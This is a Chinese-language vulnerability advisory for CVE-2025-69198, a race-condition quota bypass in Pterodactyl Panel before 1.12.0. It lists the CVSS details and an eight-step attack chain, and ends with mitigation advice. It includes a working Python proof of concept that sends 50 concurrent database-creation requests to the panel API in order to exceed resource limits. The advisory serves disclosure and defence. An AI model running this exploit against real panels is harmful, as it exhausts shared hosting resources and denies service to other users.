IPBUF安全漏洞报告
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CVE-2025-69198 CVSS 6.5 中危

CVE-2025-69198 Pterodactyl游戏服务器管理面板资源配额绕过漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2025-69198
漏洞类型
竞态条件漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pterodactyl Panel

相关标签

竞态条件资源配额绕过Pterodactyl游戏服务器管理面板并发攻击可用性漏洞CVE-2025-69198权限提升DoS

漏洞概述

CVE-2025-69198是Pterodactyl游戏服务器管理面板中的一个中等严重性安全漏洞,CVSS评分为6.5。该漏洞存在于1.12.0之前的版本中,源于资源配额验证机制存在竞态条件。Pterodactyl是一款免费开源的游戏服务器管理面板,被广泛应用于托管服务商和游戏服务器管理员。系统对每个服务器的数据库数量、端口分配和备份等资源实施了配额限制。然而,由于配额验证发生在请求周期的早期阶段,且在处理过程中未对目标资源进行锁定,导致恶意用户可以通过同时发送大量并发请求来绕过这些限制。攻击者能够创建超过配置额度的资源,从而拒绝向其他用户提供资源,过度消耗节点的有限分配,或快速占满备份空间。此漏洞影响系统的可用性,可能导致服务降级或拒绝服务。版本1.12.0已修复此问题。

技术细节

该漏洞的根本原因在于资源配额检查与资源创建操作之间缺乏原子性保护。在Pterodactyl的请求处理流程中,配额验证逻辑在早期阶段执行,用于检查当前服务器已使用的资源数量是否达到限制。然而,系统在验证通过后创建资源的过程中,并未对配额计数器进行锁定保护。这种设计缺陷导致以下攻击场景:攻击者在短时间内向目标服务器同时发送N个资源创建请求(如创建数据库)。由于所有请求在验证阶段看到的配额使用量相同(都认为还有可用配额),因此这些请求都会通过验证。随后,所有请求并行执行资源创建操作,导致实际创建的资数量超过服务器配置的限制。攻击者可以利用此方法突破数据库数量限制、端口分配数量限制或备份数量限制。这种竞态条件漏洞的利用需要较低的攻击复杂度(AC:L),攻击者仅需具备低权限用户账户(PR:L)即可发起攻击,无需特殊权限或用户交互(UI:N)。攻击成功后会对系统可用性造成严重影响(A:H)。

攻击链分析

STEP 1
信息收集
攻击者识别目标Pterodactyl面板版本,确认版本低于1.12.0,并获取目标服务器的UUID或ID
STEP 2
获取访问权限
攻击者使用低权限账户登录Pterodactyl面板,获取API令牌(Bearer Token)用于API调用
STEP 3
分析资源配额
通过API查询当前服务器的资源使用情况,了解数据库、端口分配、备份等资源的当前使用量和限制
STEP 4
构造并发请求
攻击者准备大量并发HTTP POST请求,每个请求尝试创建同一类型的资源(如数据库),数量通常设置为50-100个
STEP 5
同时发送请求
利用异步编程(如Python的aiohttp或线程池)在精确相同的时间点同时发送所有构造好的请求
STEP 6
触发竞态条件
由于配额验证发生在请求周期早期且未对资源计数器加锁,所有并发请求在验证时看到相同的配额使用量,均通过验证
STEP 7
资源超额创建
所有通过验证的请求并行执行资源创建操作,导致实际创建的资数量超过服务器配置的限制,绕过配额机制
STEP 8
资源耗尽
攻击者成功创建超额资源后,可拒绝其他用户使用资源,过度消耗节点配额,或快速占满备份存储空间

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import aiohttp import sys async def exploit_race_condition(base_url: str, api_token: str, server_id: str): """ PoC for CVE-2025-69198: Pterodactyl Resource Quota Bypass via Race Condition This script demonstrates how multiple concurrent requests can bypass resource limits. """ headers = { 'Authorization': f'Bearer {api_token}', 'Content-Type': 'application/json', 'Accept': 'application/json' } # Number of concurrent requests to send num_requests = 50 async def create_resource(session): """Send a resource creation request""" url = f'{base_url}/api/client/servers/{server_id}/databases' payload = { 'name': 'exploit_db', 'remote': '127.0.0.1' } try: async with session.post(url, json=payload, headers=headers) as response: return { 'status': response.status, 'success': response.status in [200, 201] } except Exception as e: return {'status': 'error', 'error': str(e)} async with aiohttp.ClientSession() as session: # Send all requests concurrently tasks = [create_resource(session) for _ in range(num_requests)] results = await asyncio.gather(*tasks) successful = sum(1 for r in results if r.get('success', False)) print(f"Total requests: {num_requests}") print(f"Successful creations: {successful}") print(f"Expected limit: 1, Actual created: {successful}") if successful > 1: print("[+] VULNERABLE: Race condition confirmed - quota bypassed!") else: print("[-] Not vulnerable or quota already reached") if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python poc.py <base_url> <api_token> <server_id>") print("Example: python poc.py https://panel.example.com "your-token" "abc123"") sys.exit(1) asyncio.run(exploit_race_condition(sys.argv[1], sys.argv[2], sys.argv[3]))

影响范围

Pterodactyl Panel < 1.12.0

防御指南

临时缓解措施
如果无法立即升级到1.12.0版本,可采取以下临时缓解措施:1) 限制低权限用户可以创建的资源类型和数量;2) 在Web服务器层面配置请求速率限制,限制单用户在短时间内的并发请求数;3) 启用Pterodactyl的任务队列锁机制;4) 监控资源创建日志,及时发现异常的资源创建行为;5) 考虑使用第三方限流中间件保护API端点。但这些措施仅为临时解决方案,无法根本修复竞态条件漏洞,强烈建议尽快升级到修复版本。

参考链接

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